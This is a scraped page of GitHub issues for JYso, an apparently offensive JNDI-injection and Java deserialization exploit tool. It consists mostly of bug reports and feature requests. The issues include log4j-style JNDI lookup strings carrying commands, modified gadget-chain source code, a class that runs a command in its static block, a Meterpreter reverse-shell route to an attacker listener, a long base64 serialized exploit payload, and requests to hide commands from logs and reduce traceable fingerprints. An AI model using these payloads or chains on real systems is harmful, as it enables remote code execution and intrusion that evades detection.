Giter Site home page Giter Site logo

qi4l / jyso Goto Github PK

View Code? Open in Web Editor NEW
1.3K 65.0 158.0 270.4 MB

It can be either a JNDIExploit or a ysoserial.

License: GNU General Public License v3.0

Java 100.00%
java attack jndi-injection web-security mem-shell middleware-echo jndi ldap rmi gadget

jyso's Issues

fastjson 链templates逻辑存在问题

作者您好，在您的项目中我注意到您先javassist构造了一个执行getRuntime.exec()的恶意类，后来又createTemplatesImpl获取一个对象后setValue降恶意类换成了javassist构造的那个，导致不管用什么命令他都是在调用getRuntime执行命令，无法打入内存马。
这样可以解决这个问题：
final Object templates;
if (JYsoMode.contains("yso")) {
templates = GadgetsYso.createTemplatesImpl(param[0]);
} else {
templates = Gadgets.createTemplatesImpl(type, param);
}

    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templates);

    BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
    setValue(bd,"val",jsonArray);

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put(templates,bd);

    return hashMap;

编译错误

编译错误，这几个包是缺失的吗

Could not determine the dependencies of task ':shadowJar'.
> Could not resolve all dependencies for configuration ':runtimeClasspath'.
   > Could not find javax.media.jai:jai-core:1.1.3.
     Searched in the following locations:
       - file:/home/xxx/.m2/repository/javax/media/jai/jai-core/1.1.3/jai-core-1.1.3.pom
       - https://repo.jenkins-ci.org/releases/javax/media/jai/jai-core/1.1.3/jai-core-1.1.3.pom
       - https://repo.maven.apache.org/maven2/javax/media/jai/jai-core/1.1.3/jai-core-1.1.3.pom
     Required by:
         project :
   > Could not find com.oracle.weblogic:weblogic-server:1.0.
     Searched in the following locations:
       - file:/home/xxx/.m2/repository/com/oracle/weblogic/weblogic-server/1.0/weblogic-server-1.0.pom
       - https://repo.jenkins-ci.org/releases/com/oracle/weblogic/weblogic-server/1.0/weblogic-server-1.0.pom
       - https://repo.maven.apache.org/maven2/com/oracle/weblogic/weblogic-server/1.0/weblogic-server-1.0.pom
     Required by:
         project :

存在大量报错 NPE

启动命令行：java -jar JYso-3.1.jar --jndi -i xxxx

测试代码：${jndi:ldap://1.1.1.1:1389/Deserialization/Spring1/command/Base64/{{base64(ping -c 3 1.1.1.1)}}}

报错信息：

[+] Received LDAP Query >> Deserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE=
[+] GaddgetType >> Spring1
[+] command：ping -c 3 1.1.1.1
[+]Send LDAP result forDeserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
java.lang.NullPointerException
        at com.qi4l.jndi.gadgets.Spring1.getObject(Spring1.java:54)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)


[+] Received LDAP Query >> Deserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE=
[+] GaddgetType >> Spring1
[+] command：ping -c 3 1.1.1.1
[+]Send LDAP result forDeserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
java.lang.NullPointerException
        at com.qi4l.jndi.gadgets.Spring1.getObject(Spring1.java:54)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

图片

不仅仅是Spring1，像是ROME2，Jdk7u21variant、JRE8u20_2、JBossInterceptors1等等都会出现

图片

另外MozillaRhino2等gadget会报错 java.lang.NoSuchMethodException

图片

这些gadget估计都得测一下了

实验不成功

哥们，你这个readme里面密码不对啊 ，多次实验不成功，能不能写的清楚一点啊 ，谢谢啊

本地yso无法生成文件

java -jar JYso-3.4.jar -hk "aaa" -hv "bbb" -u "/*" -g CommonsCollections6 -p EX-MS-TSMSFromThread-suo5 -f cc6-suo5.bin

没有生成文件

2个小问题

师傅你好 在某些jndi场景中 只能 jndi://1.1.1.1/connect

connect 不可控 那么这个时候就需要让 connect 为某个链

第二个场景就是

jndi必须要使用账号密码认证

请问这两个功能是否可以增加 🙏

yso的LF-功能加载类文件失败

命令：
java -jar JYso-3.5.5.jar -yso 1 -g CommonsCollections10 -p '/Users/test/Desktop/Calc.class' -f calc.ser
然后对calc.ser进行base64，无法成功弹计算器，不报异常

使用
java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections10 -a "class_file:/Users/test/Desktop/Calc.class"
可以成功弹计算器。

环境：macos
jdk: 1.8.0_191
calc:
`package org.ppp.tools.ser;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.util.Scanner;

public class Calc extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("open -a Calculator.app");
}catch (Exception e){

    }
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
`

cb链依赖问题

用1.3.0版本的生成的所有cb链用的都是1.8.3版本的，不会自动寻找它指定的版本。

使用其他链的执行命令的时候出错

[+] Received LDAP Query : Deserialization/LiNUX/command/Base64/Y3VybCAw
[+] GaddgetType : LiNUX
[+] command：curl xxx
[+] Send LDAP result forDeserialization/LiNUX/command/Base64/Y3VybC with javaSerializedData attribute
LmNu with javaSerializedData attribute
-------------------------------------- JNDI Remote Refenrence Links --------------------------------------
Error while generating or serializing payload
java.lang.NullPointerException
at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:42)
at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:122)
at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)
是我使用错误了吗

wiki问题

意思是只有针对 ChainedTransformer的才能进行如下操作吗？ 不太对应。
image

低版本的CommonsBeanutils 解决办法自己修改代码。希望作者更新一下代码 

          我测试了一下就是代码的问题修改一下代码就可以用了你这个代码不兼容低版本  我修改的这个项目的代码 https://github.com/957204459/ysoserial-1   直接成功执行。希望大佬可以考虑兼容低版本的 commons-beanutils  比如这个 。融合所有工具的特点再次感谢大佬回复
commons-beanutils commons-beanutils 1.6.1 package com.qi4l.jndi.gadgets;

import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.GadgetsYso;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;

import java.util.PriorityQueue;
import java.math.BigInteger;

import static com.qi4l.jndi.Starter.JYsoMode;

@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@authors({Authors.FROHOFF})
public class commonsbeanutils1 implements ObjectPayload {

public Object getObject(PayloadType type, String... param) throws Exception {
   // final Object template;
    /* if (JYsoMode.contains("yso")) {
        template = GadgetsYso.createTemplatesImpl(param[0]);
    } else {
        template = Gadgets.createTemplatesImpl(type, param);
    } */
	
	final Object template = GadgetsYso.createTemplatesImpl(param[0]);
   // final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue queue = new PriorityQueue(2, comparator);
/* queue.add("1");
queue.add("1"); */
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

    Reflections.setFieldValue(comparator, "property", "outputProperties");
    Reflections.setFieldValue(queue, "queue", new Object[]{template, template});

    return queue;
}

}

Originally posted by @peiqiF4ck in #37 (comment)

再次感谢作者的付出,另外作者是否考虑使用maven这个。 gradle是在是比较麻烦。改了低版本的依赖他不会自行更改。。。。。同样的代码修改了一波使用maven可以 使用gradle不可以了。也可能是 commons-beanutils 代码改了 其他地方代码没有修改。总结我用这个 https://github.com/957204459/ysoserial-1 直接修改ommons-beanutils代码 和ommons-beanutils 版本号为 1.6.1 直接就行了。 但是大佬您这个gradle的这个修改了版本和代码的都不行 大佬有时间可否看看哪里有问题。感谢大佬

关于url路由部分的疑问

师傅，有些特殊的链构造出来路由是\而不是/，比如su18 ysoserial这个payload

https://github.com/5l1v3r1/ysoserial-1/blob/4888f68782953c98de09f81f44f563d9c0cc1376/src/main/java/org/su18/ysuserial/payloads/CommonsBeanutils4.java#L12

按照su18说的，在LdapServer#processSearchResult加一行 base = base.replace('\\','/');，这块是否可兼容加上，或者有其他的解决方法？

图片

我有个想法

支持把路由路径加密

比如用aes加密算法将 ldap://0.0.0.0:1389/Deserialization/C3P04/qi4l/Base64/xxxxxxxx加密为ldap://0.0.0.0:1389/YUAs7rWm/Al9Cw0LG9jzJxMXyu5WjeBuyxxxxxxxx

在LdapServer等入口处，尝试解密，解密不了的话继续按默认逻辑走

这样可以在一定程度上避免从日志中泄露出原始命令，也减少了特征

支持路径路径缩短映射

在HTTPServer中提供一个接口给外部脚本调用，加个map变量存一下映射关系，用来做路由地址映射转换，类似于url缩短服务，变成一个短链接

比如可以把非常长的 ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/qi4l/Base64/{{base64(BC-$BCEL$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)} 缩短为 ldap://0.0.0.0:1389/a

jndi:ldap://0.0.0.0:1389/Deserialization/C3P04/qi4l/Base64/xxxxxxxx

现在默认场景下的url带有比较特殊的qi4l，有这个的话感觉会不会后续变成一个溯源特征

无法启动

C:\Penetration\ExpolitTools\Tools\JYso\JYso-1.2.9>java -jar JYso-1.2.9.jar
C:\Penetration\ExpolitTools\Tools\JYso\JYso-1.2.9>java -jar JYso-1.2.9.jar -h
C:\Penetration\ExpolitTools\Tools\JYso\JYso-1.2.9>java -jar JYso-1.2.9.jar --jndi
C:\Penetration\ExpolitTools\Tools\JYso\JYso-1.2.9>java -jar JYso-1.2.9.jar --jndi -h

最新1.2.9版本运行没有任何输出
QQ截图20240429161211

latest 1.2.9 Error while generating or serializing payload 

➜  JYso java -version                                                                         
openjdk version "11.0.22" 2024-01-16

➜  JYso java -jar JYso-1.2.9.jar -y -g CommonsBeanutils5 -p 'EX-TomcatEcho' -ch 'cmd' -utf|hex
Error while generating or serializing payload
java.lang.NullPointerException
        at java.base/java.lang.String.<init>(String.java:614)
        at com.qi4l.jndi.gadgets.utils.Utils.base64Decode(Utils.java:63)
        at com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertCMD(ClassMethodHandler.java:220)
        at com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertKeyMethodByClassName(ClassMethodHandler.java:40)
        at com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass(GlassHandler.java:105)
        at com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass(GlassHandler.java:64)
        at com.qi4l.jndi.gadgets.utils.Gadgets.createTemplatesImpl(Gadgets.java:96)
        at com.qi4l.jndi.gadgets.CommonsBeanutils5.getObject(CommonsBeanutils5.java:22)
        at com.qi4l.jndi.controllers.ysoserial.ysoserial(ysoserial.java:134)
        at com.qi4l.jndi.Starter.main(Starter.java:29)

有不少gadget会报错

3.5版本
jdk 1.8.0_281，linux

MozillaRhino2

[+] Received LDAP Query >> Deserialization/MozillaRhino2/command/Base64/cGluZyAtbiAyIDEuMS4xLjE=
[+] GaddgetType >> MozillaRhino2
[+] command：ping -n 2 1.1.1.1
[+]Send LDAP result forDeserialization/MozillaRhino2/command/Base64/cGluZyAtbiAyIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
java.lang.NoSuchMethodException: com.qi4l.jndi.gadgets.MozillaRhino2.customWriteAdapterObject(java.lang.Object, java.io.ObjectOutputStream)
        at java.lang.Class.getMethod(Class.java:1786)
        at com.qi4l.jndi.gadgets.MozillaRhino2.getObject(MozillaRhino2.java:76)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:56)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

JRE8u20_2


[+] Received LDAP Query >> Deserialization/JRE8u20_2/command/Base64/cGluZyAtbiAyIDEuMS4xLjE=
[+] GaddgetType >> JRE8u20_2
[+] command：ping -n 2 1.1.1.1
[+]Send LDAP result forDeserialization/JRE8u20_2/command/Base64/cGluZyAtbiAyIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
javassist.CannotCompileException: by java.lang.ClassFormatError: loader (instance of  sun/misc/Launcher$AppClassLoader): attempted  duplicate class definition for name: "sun/reflect/annotation/AnnotationInvocationHandler"
        at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:271)
        at javassist.ClassPool.toClass(ClassPool.java:1240)
        at javassist.ClassPool.toClass(ClassPool.java:1098)
        at javassist.ClassPool.toClass(ClassPool.java:1056)
        at javassist.CtClass.toClass(CtClass.java:1298)
        at com.qi4l.jndi.gadgets.JRE8u20_2.newInvocationHandlerClass(JRE8u20_2.java:29)
        at com.qi4l.jndi.gadgets.JRE8u20_2.getObject(JRE8u20_2.java:43)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:56)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)
Caused by: java.lang.ClassFormatError: loader (instance of  sun/misc/Launcher$AppClassLoader): attempted  duplicate class definition for name: "sun/reflect/annotation/AnnotationInvocationHandler"
        at javassist.util.proxy.DefineClassHelper$Java7.defineClass(DefineClassHelper.java:182)
        at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
        ... 11 more

CommonsBeanutilsPropertySource183

Error while generating or serializing payload
java.lang.RuntimeException: org.apache.commons.beanutils.BeanComparator class is frozen
        at javassist.CtClassType.checkModify(CtClassType.java:334)
        at javassist.CtClassType.removeField(CtClassType.java:1431)
        at com.qi4l.jndi.gadgets.CommonsBeanutilsPropertySource183.getObject(CommonsBeanutilsPropertySource183.java:44)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:56)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

另外有些gadget没有包含在反序列化路由里面
CommonsCollectionsK7
CommonsCollections6Lite

msf使用报错

支持tomcatBypass路由直接上线msf：
使用msf的java/meterpreter/reverse_tcp开启监听
ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/[msfip]/[msfport]

请问按照这个格式打的，为什么会提示报错呢？
e21ae3d558f9a83ded85ae2653fed5b
image

bug

% java -jar JYso-3.4.jar -yso 1 --rhino -g CommonsCollections5 -p EX-TomcatEcho -ch via -f 5.ser

Error while generating or serializing payload
javassist.NotFoundException: initClassBytes(..) is not found in org.apache.myfaces.myfaces.debug.TagAware
at javassist.CtClassType.getDeclaredMethod(CtClassType.java:1356)
at com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertMethod(ClassMethodHandler.java:28)
at com.qi4l.jndi.gadgets.utils.Utils.encapsulationByClassLoaderTemplate(Utils.java:137)
at com.qi4l.jndi.gadgets.utils.cc.TransformerUtil.makeTransformer(TransformerUtil.java:68)
at com.qi4l.jndi.gadgets.CommonsCollections5.getObject(CommonsCollections5.java:53)
at com.qi4l.jndi.gadgets.CommonsCollections5.getObject(CommonsCollections5.java:42)
at com.qi4l.jndi.Starter.main(Starter.java:165)

大佬我在咨询一下 使用 CommonsBeanutils-1.6.1 编译出来执行直接报错 java -jar JYso-1.2.8-all.jar -y -g CommonsBeanutils1 -p "EX-TomcatEcho" 

          大佬我在咨询一下 使用 CommonsBeanutils-1.6.1 编译出来执行直接报错  java -jar JYso-1.2.8-all.jar -y -g  CommonsBeanutils1  -p "EX-TomcatEcho"

██╗ ██╗███████╗ ██████╗
╚██╗ ██╔╝██╔════╝██╔═══██╗
╚████╔╝ ███████╗██║ ██║
╚██╔╝ ╚════██║██║ ██║
██║ ███████║╚██████╔╝
╚═╝ ╚══════╝ ╚═════╝

Error while generating or serializing payload
java.lang.ClassCastException: java.lang.IllegalArgumentException: No name specified
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:145)
at java.util.PriorityQueue.siftUpUsingComparator(Unknown Source)
at java.util.PriorityQueue.siftUp(Unknown Source)
at java.util.PriorityQueue.offer(Unknown Source)
at java.util.PriorityQueue.add(Unknown Source)
at com.qi4l.jndi.gadgets.CommonsBeanutils1.getObject(CommonsBeanutils1.java:22)
at com.qi4l.jndi.controllers.ysoserial.ysoserial(ysoserial.java:134)
at com.qi4l.jndi.Starter.main(Starter.java:29)

大佬 使用 CommonsBeanutils-1.8.3 可以编译也可以执行 java -jar JYso-1.2.8-all.jar -y -g CommonsBeanutils1 -p "EX-TomcatEcho"
██╗ ██╗███████╗ ██████╗
╚██╗ ██╔╝██╔════╝██╔═══██╗
╚████╔╝ ███████╗██║ ██║
╚██╔╝ ╚════██║██║ ██║
██║ ███████║╚██████╔╝
╚═╝ ╚══════╝ ╚═════╝

 �sr �java.util.PriorityQueue斱0贷?偙� �I �sizeL
comparatort �Ljava/util/Comparator;xp �sr +org.apache.commons.beanutils.BeanComparator

但是同样使用 https://github.com/957204459/ysoserial-1

使用 CommonsBeanutils-1.6.1 没有报错并且可以执行成功 java -jar ysuserial-1.5-su18-all.jar -g CommonsBeanutils1 -p "EX-TomcatEcho"

这是什么情况大佬。另外如何生成payload的时候不输出yso这个logo我本地但是可以直接注销。现在的问题是用同样的jar包编译出来的东西一个可以执行一个执行不了。我不知道是不是gradle的问题。我直接把 CommonsBeanutils-1.6.1 放到lib文件夹里面了。大佬如何在gradle里面强制让他使用CommonsBeanutil 1.6.1 并且自动加载所需要的依赖。接触gradle不多。maven直接配置就行了。gradle我配置了
commons-beanutils-commons-beanutils = "1.6.1" 他默认还是 1.8.3的jar包。。。。。我得把 1.6.1的jar放到lib目录他才用我的。并且配置这以后gradle不会下载1.6.1的包只会下载1.8.3的包。。。。。我手工将1.6.1的包放到gradle里面编译是没问题就是执行报错了。。
另外编译用三个包就行了 :
jai_core-1.1.3.jar
weblogic-server.jar
wlthint3client.jar

有些payload发送之后会导致服务端jndi进程强制退出

师傅我用的是3.2最新版，测了一下

  1. 发送JRE8u20请求后进程强制退出了
    测试代码：
${jndi:ldap://1.1.1.1:1389/Deserialization/**JRE8u20**/command/Base64/{{base64(ping -c 3  1.1.1.1)}}}

图片

对于JRE8u20_2还是存在NPE异常的情况（详情https://github.com/qi4L/JYso/issues/10）

图片

  1. 对于Jackson，会出现报错，原因不明
Error while generating or serializing payload
javassist.NotFoundException: writeReplace(..) is not found in com.fasterxml.jackson.databind.node.BaseJsonNode
        at javassist.CtClassType.getDeclaredMethod(CtClassType.java:1356)
        at com.qi4l.jndi.gadgets.Jackson.getObject(Jackson.java:35)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

打包问题

提示无
Could not find javax.media.jai:jai-core:1.1.3
Could not find com.oracle.weblogic:weblogic-server:1.0.
是否有解决方法

使用反序列化加载自定义类无法成功注入

1、使用woodpecker 加载自定义内存马类
image

2、使用JYSO
image

进行base64
image

3、反序列化测试
image
失败
image

woodpecker测试，连接成功

博主可自行对比两个工具生成的payload，并进行反序列化调试
JYso：
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAEbnUxcnNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5GYWN0b3J5VHJhbnNmb3JtZXKhYsEpXbfzuAIAAUwACGlGYWN0b3J5dAAoTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9GYWN0b3J5O3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZUZhY3RvcnmUsZyeZyEE6wIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAE2lDbGFzc1RvSW5zdGFudGlhdGV0ABFMamF2YS9sYW5nL0NsYXNzO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAABc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AEEwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAADpiyv66vgAAADEAnwoACwBTCABUCgAJAFUIAFYKAAkAVwoAWABZCgALAFoIAFsHAFwHAF0HAF4HADwHAF8IAGAKAAkAYQgAYgcAYwcAZAkAJwBlCgAnAGYKABIAZwoAEQBoBwBpCgAXAFMKABEAagoAFwBrCgAXAGwHAG0HAG4KAG8AcAoAbwBxCgAcAHIKAAkAcwgATAkAdAB1CgAJAHYKAFgAdwoAdAB4BwCZAQADYjY0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAJY2xhc3NOYW1lAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL3FpNGwvam5kaS90ZW1wbGF0ZS9DbGFzc0xvYWRlclRlbXBsYXRlOwEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAV2YWx1ZQEAAltCAQANU3RhY2tNYXBUYWJsZQcAXQcAXwEACkV4Y2VwdGlvbnMBAA5pbml0Q2xhc3NCeXRlcwEACDxjbGluaXQ+AQAPZ3ppcElucHV0U3RyZWFtAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEAFWJ5dGVBcnJheU91dHB1dFN0cmVhbQEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAARyZWFkAQABSQEABWJ5dGVzAQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UHAGMHAGkBAApTb3VyY2VGaWxlAQAYQ2xhc3NMb2FkZXJUZW1wbGF0ZS5qYXZhDAArACwBABBqYXZhLnV0aWwuQmFzZTY0DAB6AHsBAApnZXREZWNvZGVyDAB8AH0HAH4MAE4AfwwAgACBAQAGZGVjb2RlAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAggCDAQAMZGVjb2RlQnVmZmVyAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0BABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtDAAoACkMADIAMwwAKwCEDAArAIUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwARwCGDACHAIgMAIkAigEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAMamF2YS9uZXQvVVJMBwCLDACMAI0MAI4AjwwAKwCQDACRAIEHAJIMAJMANwwAlAB9DACVAJYMAJcAmAEAKmNvbS9xaTRsL2puZGkvdGVtcGxhdGUvQ2xhc3NMb2FkZXJUZW1wbGF0ZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAUoW0IpVgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABShbQilJAQAFd3JpdGUBAAcoW0JJSSlWAQALdG9CeXRlQXJyYXkBAAQoKVtCAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACkoW0xqYXZhL25ldC9VUkw7TGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEADWdldFN1cGVyY2xhc3MBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBADRvcmcvYXBhY2hlL2NhdGFsaW5hL2xvZzRqL21lc3NhZ2UvUGFyYW1ldGVyRm9ybWF0dGVyAQA2TG9yZy9hcGFjaGUvY2F0YWxpbmEvbG9nNGovbWVzc2FnZS9QYXJhbWV0ZXJGb3JtYXR0ZXI7BwCZCQCbAGUBLwBINHNJQUFBQUFBQUFBSjE2QjRBYjEzWGcrOXdDY0xra3BhVW9hVldzWmtzVVFSSzlyV1JKNkwxM3lHMEFEQVlEWUdhQW1VRjFwU01yUHZmRUxYS1RMUmRHZG14SmxrMVNwaTIzaTNTbkszRmkrODRYeDNHNXhISE82Yzds